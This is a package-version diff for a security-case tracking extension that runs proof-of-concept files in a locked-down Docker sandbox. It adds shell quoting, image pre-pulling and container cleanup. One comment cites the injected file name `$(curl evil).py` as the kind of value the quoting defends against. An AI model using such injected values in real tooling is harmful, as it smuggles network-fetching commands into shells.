@xaccefy/pi-casefile 0.5.1 → 0.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/index.ts +5 -0
- package/src/ledger.ts +13 -2
- package/src/poc-runner.ts +91 -11
package/package.json
CHANGED
package/src/index.ts
CHANGED
|
@@ -15,6 +15,7 @@ import { Type } from "@sinclair/typebox";
|
|
|
15
15
|
|
|
16
16
|
import {
|
|
17
17
|
addCaseResult,
|
|
18
|
+
assertPromotable,
|
|
18
19
|
type CaseConfidence,
|
|
19
20
|
type CaseInput,
|
|
20
21
|
type CasePriority,
|
|
@@ -818,6 +819,10 @@ export default function casefileExtension(pi: ExtensionAPI) {
|
|
|
818
819
|
parameters: PromoteSchema,
|
|
819
820
|
|
|
820
821
|
async execute(_id, params, _signal, _onUpdate, _ctx) {
|
|
822
|
+
// Validate promotability BEFORE running the PoC — a sandboxed run can take
|
|
823
|
+
// 30s (plus first-time image pull), so fail cheap when the case can't
|
|
824
|
+
// advance anyway (missing, wrong status, missing required fields).
|
|
825
|
+
assertPromotable(params.id as string);
|
|
821
826
|
const run = runPoc(params.poc_path as string, params.local !== true);
|
|
822
827
|
|
|
823
828
|
// Fail closed without throwing: non-zero PoC must leave the case investigating.
|
package/src/ledger.ts
CHANGED
|
@@ -785,8 +785,13 @@ type PocVerification = {
|
|
|
785
785
|
sandbox: boolean;
|
|
786
786
|
};
|
|
787
787
|
|
|
788
|
-
|
|
789
|
-
|
|
788
|
+
/**
|
|
789
|
+
* Gate for promotion to confirmed: case must exist, be investigating, and have
|
|
790
|
+
* poc/evidence/impact/severity. Returns the record when promotable, throws
|
|
791
|
+
* otherwise. Exported so PromoteFinding can validate BEFORE paying for a
|
|
792
|
+
* (potentially slow) sandboxed PoC run.
|
|
793
|
+
*/
|
|
794
|
+
export function assertPromotable(id: string): CaseRecord {
|
|
790
795
|
const current = getCaseById(id);
|
|
791
796
|
if (!current) {
|
|
792
797
|
throw new Error(`Case not found: ${id}`);
|
|
@@ -806,6 +811,12 @@ export function promoteFindingResult(id: string, verification: PocVerification):
|
|
|
806
811
|
if (!current.severity) {
|
|
807
812
|
throw new Error("CONFIRMED requires severity; set severity on the case first");
|
|
808
813
|
}
|
|
814
|
+
return current;
|
|
815
|
+
}
|
|
816
|
+
|
|
817
|
+
export function promoteFindingResult(id: string, verification: PocVerification): CaseUpdateResult {
|
|
818
|
+
const db = getDb();
|
|
819
|
+
const current = assertPromotable(id);
|
|
809
820
|
if (verification.exitCode !== 0) {
|
|
810
821
|
throw new Error(
|
|
811
822
|
`PoC verification failed (exit ${verification.exitCode}); cannot promote to confirmed`,
|
package/src/poc-runner.ts
CHANGED
|
@@ -54,6 +54,8 @@ const EXTENSION_MAP: Record<string, string> = {
|
|
|
54
54
|
|
|
55
55
|
const OUTPUT_MAX_CHARS = 4000;
|
|
56
56
|
const TIMEOUT_MS = 30_000;
|
|
57
|
+
/** First-use image downloads are slow — pull outside the run timeout. */
|
|
58
|
+
const PULL_TIMEOUT_MS = 300_000;
|
|
57
59
|
const MAX_BUFFER = 8 * 1024 * 1024;
|
|
58
60
|
|
|
59
61
|
function getProjectRoot(): string {
|
|
@@ -73,6 +75,19 @@ function getProjectRoot(): string {
|
|
|
73
75
|
function loadLanguages(): Record<string, PocLanguage> {
|
|
74
76
|
const languages = { ...BUILTIN_LANGUAGES };
|
|
75
77
|
|
|
78
|
+
// Project-level overrides: .pi/poc-languages.json at the workspace root.
|
|
79
|
+
try {
|
|
80
|
+
const filePath = join(getProjectRoot(), ".pi", "poc-languages.json");
|
|
81
|
+
if (existsSync(filePath)) {
|
|
82
|
+
const extra = JSON.parse(readFileSync(filePath, "utf8")) as Record<string, PocLanguage>;
|
|
83
|
+
for (const [key, lang] of Object.entries(extra)) {
|
|
84
|
+
if (lang?.image) languages[key] = lang;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
} catch {
|
|
88
|
+
// Malformed project config is ignored.
|
|
89
|
+
}
|
|
90
|
+
|
|
76
91
|
const envOverride = process.env.PI_POC_LANGUAGES?.trim();
|
|
77
92
|
if (envOverride) {
|
|
78
93
|
try {
|
|
@@ -225,10 +240,17 @@ function sanitizeOutput(output: string): string {
|
|
|
225
240
|
.slice(0, OUTPUT_MAX_CHARS);
|
|
226
241
|
}
|
|
227
242
|
|
|
228
|
-
function buildDockerArgs(
|
|
243
|
+
function buildDockerArgs(
|
|
244
|
+
image: string,
|
|
245
|
+
command: string,
|
|
246
|
+
workspaceDir: string,
|
|
247
|
+
containerName: string,
|
|
248
|
+
): string[] {
|
|
229
249
|
return [
|
|
230
250
|
"run",
|
|
231
251
|
"--rm",
|
|
252
|
+
"--name",
|
|
253
|
+
containerName,
|
|
232
254
|
"--network",
|
|
233
255
|
"none",
|
|
234
256
|
"--read-only",
|
|
@@ -253,16 +275,26 @@ function buildDockerArgs(image: string, command: string, workspaceDir: string):
|
|
|
253
275
|
];
|
|
254
276
|
}
|
|
255
277
|
|
|
278
|
+
/** Escape a string for a POSIX single-quoted shell context. */
|
|
279
|
+
function shq(s: string): string {
|
|
280
|
+
return `'${s.replace(/'/g, "'\\''")}'`;
|
|
281
|
+
}
|
|
282
|
+
|
|
256
283
|
function renderCommand(template: string, pocPath: string, inSandbox: boolean): string {
|
|
257
284
|
const sourceName = basename(pocPath);
|
|
258
285
|
const className = sourceName.replace(/\.[^.]+$/i, "");
|
|
259
|
-
|
|
260
|
-
|
|
286
|
+
// In the sandbox the template runs under `sh -c`, and the PoC basename is
|
|
287
|
+
// agent-controlled — single-quote every substitution so a hostile filename
|
|
288
|
+
// (e.g. `$(curl evil).py`) cannot inject shell into the container entrypoint.
|
|
289
|
+
// Local mode uses no shell (args passed verbatim), so quoting stays off there.
|
|
290
|
+
const targetPath = inSandbox ? shq(`/workspace/${sourceName}`) : pocPath;
|
|
291
|
+
const binPath = inSandbox ? shq("/workspace/poc") : join(dirname(pocPath), "poc");
|
|
292
|
+
const cls = inSandbox ? shq(className) : className;
|
|
261
293
|
|
|
262
294
|
return template
|
|
263
295
|
.replace(/{{file}}/g, targetPath)
|
|
264
296
|
.replace(/{{bin}}/g, binPath)
|
|
265
|
-
.replace(/{{class}}/g,
|
|
297
|
+
.replace(/{{class}}/g, cls);
|
|
266
298
|
}
|
|
267
299
|
|
|
268
300
|
/**
|
|
@@ -286,12 +318,50 @@ function spawnExitCode(result: {
|
|
|
286
318
|
return 1;
|
|
287
319
|
}
|
|
288
320
|
|
|
321
|
+
/**
|
|
322
|
+
* Pull the sandbox image (if absent) BEFORE the timed run. Otherwise a
|
|
323
|
+
* first-use `docker run` spends the whole 30s run timeout downloading the
|
|
324
|
+
* image and the PoC fails spuriously.
|
|
325
|
+
*/
|
|
326
|
+
function ensureImage(image: string): void {
|
|
327
|
+
const inspect = spawnSync("docker", ["image", "inspect", image], {
|
|
328
|
+
encoding: "utf8",
|
|
329
|
+
timeout: TIMEOUT_MS,
|
|
330
|
+
});
|
|
331
|
+
if (!inspect.error && inspect.status === 0) return;
|
|
332
|
+
const pull = spawnSync("docker", ["pull", image], {
|
|
333
|
+
encoding: "utf8",
|
|
334
|
+
timeout: PULL_TIMEOUT_MS,
|
|
335
|
+
maxBuffer: MAX_BUFFER,
|
|
336
|
+
});
|
|
337
|
+
if (pull.error || pull.status !== 0) {
|
|
338
|
+
const detail = pull.error?.message ?? (pull.stderr ?? "").slice(0, 300);
|
|
339
|
+
throw new Error(`Failed to pull PoC sandbox image "${image}": ${detail}`);
|
|
340
|
+
}
|
|
341
|
+
}
|
|
342
|
+
|
|
289
343
|
function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
|
|
290
344
|
const ranAt = new Date().toISOString();
|
|
291
345
|
const sourceName = basename(pocPath);
|
|
292
346
|
const workspaceDir = mkdtempSync(resolve(tmpdir(), "poc-runner-"));
|
|
347
|
+
// Named container so a timed-out / killed client can still be cleaned up —
|
|
348
|
+
// `--rm` alone leaks the container when the CLI dies before the child exits.
|
|
349
|
+
const containerName = `poc-runner-${process.pid}-${Math.random().toString(36).slice(2, 10)}`;
|
|
293
350
|
|
|
294
351
|
try {
|
|
352
|
+
// Fail closed as a non-zero run (not a throw) when docker/images are
|
|
353
|
+
// unavailable — callers treat infra failure as "PoC did not verify".
|
|
354
|
+
try {
|
|
355
|
+
ensureImage(language.image);
|
|
356
|
+
} catch (e) {
|
|
357
|
+
return {
|
|
358
|
+
path: pocPath,
|
|
359
|
+
exitCode: 127,
|
|
360
|
+
output: `[sandbox image error] ${(e as Error).message}`,
|
|
361
|
+
ranAt,
|
|
362
|
+
sandbox: true,
|
|
363
|
+
};
|
|
364
|
+
}
|
|
295
365
|
copyFileSync(pocPath, `${workspaceDir}/${sourceName}`);
|
|
296
366
|
|
|
297
367
|
let command: string;
|
|
@@ -303,11 +373,15 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
|
|
|
303
373
|
throw new Error("Language config has no run or buildRun command");
|
|
304
374
|
}
|
|
305
375
|
|
|
306
|
-
const result = spawnSync(
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
376
|
+
const result = spawnSync(
|
|
377
|
+
"docker",
|
|
378
|
+
buildDockerArgs(language.image, command, workspaceDir, containerName),
|
|
379
|
+
{
|
|
380
|
+
encoding: "utf8",
|
|
381
|
+
timeout: TIMEOUT_MS,
|
|
382
|
+
maxBuffer: MAX_BUFFER,
|
|
383
|
+
},
|
|
384
|
+
);
|
|
311
385
|
|
|
312
386
|
const spawnErr = result.error ? `\n[spawn error] ${result.error.message}` : "";
|
|
313
387
|
const output = sanitizeOutput((result.stdout ?? "") + (result.stderr ?? "") + spawnErr);
|
|
@@ -319,6 +393,12 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
|
|
|
319
393
|
sandbox: true,
|
|
320
394
|
};
|
|
321
395
|
} finally {
|
|
396
|
+
// Best-effort: remove any container still running after a timeout/kill.
|
|
397
|
+
try {
|
|
398
|
+
spawnSync("docker", ["rm", "-f", containerName], { timeout: 10_000 });
|
|
399
|
+
} catch {
|
|
400
|
+
// Ignore.
|
|
401
|
+
}
|
|
322
402
|
try {
|
|
323
403
|
rmSync(workspaceDir, { recursive: true, force: true });
|
|
324
404
|
} catch {
|
|
@@ -373,8 +453,8 @@ function runLocal(pocPath: string, language: PocLanguage): PocRun {
|
|
|
373
453
|
*
|
|
374
454
|
* Language detection (in order):
|
|
375
455
|
* 1. Shebang line in the PoC file.
|
|
376
|
-
* 2.
|
|
377
|
-
* 3.
|
|
456
|
+
* 2. File extension (a .py PoC in a Node repo still runs under python).
|
|
457
|
+
* 3. Project type markers in the workspace root (e.g., package.json, requirements.txt).
|
|
378
458
|
* 4. PI_POC_DEFAULT_LANGUAGE environment variable.
|
|
379
459
|
*
|
|
380
460
|
* Users can extend or override language definitions via:
|